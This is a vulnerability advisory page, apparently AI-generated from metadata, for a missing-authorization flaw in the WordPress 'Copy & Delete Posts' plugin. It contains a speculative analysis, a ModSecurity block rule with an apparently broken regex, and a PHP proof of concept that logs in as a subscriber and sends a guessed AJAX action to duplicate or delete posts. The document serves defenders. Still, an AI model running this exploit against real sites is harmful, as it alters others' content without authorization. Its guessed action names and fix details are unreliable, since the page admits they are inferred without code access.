Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-19077: Copy & Delete Posts <= 1.5.4 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 1.5.4
Patched Version —
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-19077 (metadata-based): The Copy & Delete Posts plugin for WordPress (slug duplicate-post-littlebizzy) versions up to and including 1.5.4 contains a missing authorization vulnerability. The flaw allows authenticated attackers with low privileges (subscriber level and above) to invoke a function that should be restricted to higher-capability users, such as administrators or editors. The CVSS score is 4.3 (medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating a network-based attack requiring low privileges, no user interaction, and resulting in limited integrity impact only. Atomic Edge analysis infers the affected component is likely an AJAX handler or admin-post action registered without a capability check.

Root Cause: The CWE classification (CWE-639: Authorization Bypass Through User-Controlled Key) indicates the plugin fails to verify that the current user has the necessary capability before performing an action. The description states a function lacks a capability check. Since no source code diff is available, Atomic Edge research cannot confirm the exact function name or hook, but the CWE and description strongly suggest an AJAX action (e.g., via wp_ajax_ or wp_ajax_nopriv_ hooks) or an admin-post handler that does not call current_user_can() with an appropriate capability. The vulnerability is not about nonce verification alone, but about missing authorization, meaning even a valid nonce would not prevent a low-privileged user from executing the action. The user-controlled key aspect implies the attacker may supply a post ID or similar identifier to manipulate arbitrary posts.

Exploitation: An authenticated attacker with subscriber-level access can send a crafted HTTP request to /wp-admin/admin-ajax.php with an action parameter corresponding to the vulnerable function. Based on the plugin slug and typical WordPress patterns, the action might be something like ‘duplicate_post’ or ‘copy_delete_posts’. The attacker would include parameters such as post_id to specify the target post (e.g., a draft or private post belonging to an administrator). Because the function lacks a capability check, it will process the request and perform the unauthorized action, such as duplicating or deleting the specified post. No user interaction is required. Atomic Edge analysis infers the exact action name and parameters from the plugin’s functionality and CWE, but without code access these are educated guesses. The attack vector is network-based, and the attacker must be authenticated.

Remediation: The fix in version 1.5.5 likely adds a capability check to the vulnerable function. Atomic Edge research infers that the patch introduces a call to current_user_can() with a capability such as ‘edit_posts’ or ‘manage_options’ before executing the action. Additionally, the fix may enforce nonce verification. Since the vulnerability is missing authorization, the core remediation is to ensure that only users with the appropriate role and capability can invoke the function. The patch may also refactor the function to validate the user-controlled key (e.g., post ID) against the current user’s permissions.

Impact: Successful exploitation allows a low-privileged authenticated attacker to perform actions they are not authorized to do, such as duplicating, modifying, or deleting posts. This can lead to content manipulation, data loss, or disruption of site content. The integrity impact is limited (I:L) because the attacker can alter some data but not gain full control. There is no confidentiality or availability impact. Atomic Edge analysis assesses the overall risk as moderate, given the requirement for authentication and the limited scope of actions possible.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-19077 (metadata-based)
# This rule blocks requests to admin-ajax.php with the action parameter set to 'duplicate_post'.
# The action name is inferred from the plugin slug and CWE; adjust if the actual action differs.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261977,phase:2,deny,status:403,chain,msg:'CVE-2026-19077 via Copy & Delete Posts AJAX action',severity:'CRITICAL',tag:'CVE-2026-19077'"
    SecRule ARGS_POST:action "@streq duplicate_post" "chain"
        SecRule ARGS_POST:post_id "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-19077 - Copy & Delete Posts <= 1.5.4 - Missing Authorization
// This PoC assumes the vulnerable action is an AJAX handler named 'duplicate_post' or similar.
// The exact action name is inferred from the plugin slug and CWE; adjust if needed.

$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'subscriber'; // Low-privileged user
$password = 'password';
$post_id = 1; // Target post ID (e.g., an admin's private post)

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Login failed: ' . curl_error($ch));
}
curl_close($ch);

// Step 2: Send the exploit request to admin-ajax.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'duplicate_post', // Assumed action name; may be 'copy_delete_posts' or similar
    'post_id' => $post_id
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Exploit failed: ' . curl_error($ch));
}
curl_close($ch);

// Output response for debugging
echo "Response: " . $response . "n";
// If the action was unauthorized, the post may have been duplicated or deleted.
// Check the site to confirm the effect.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.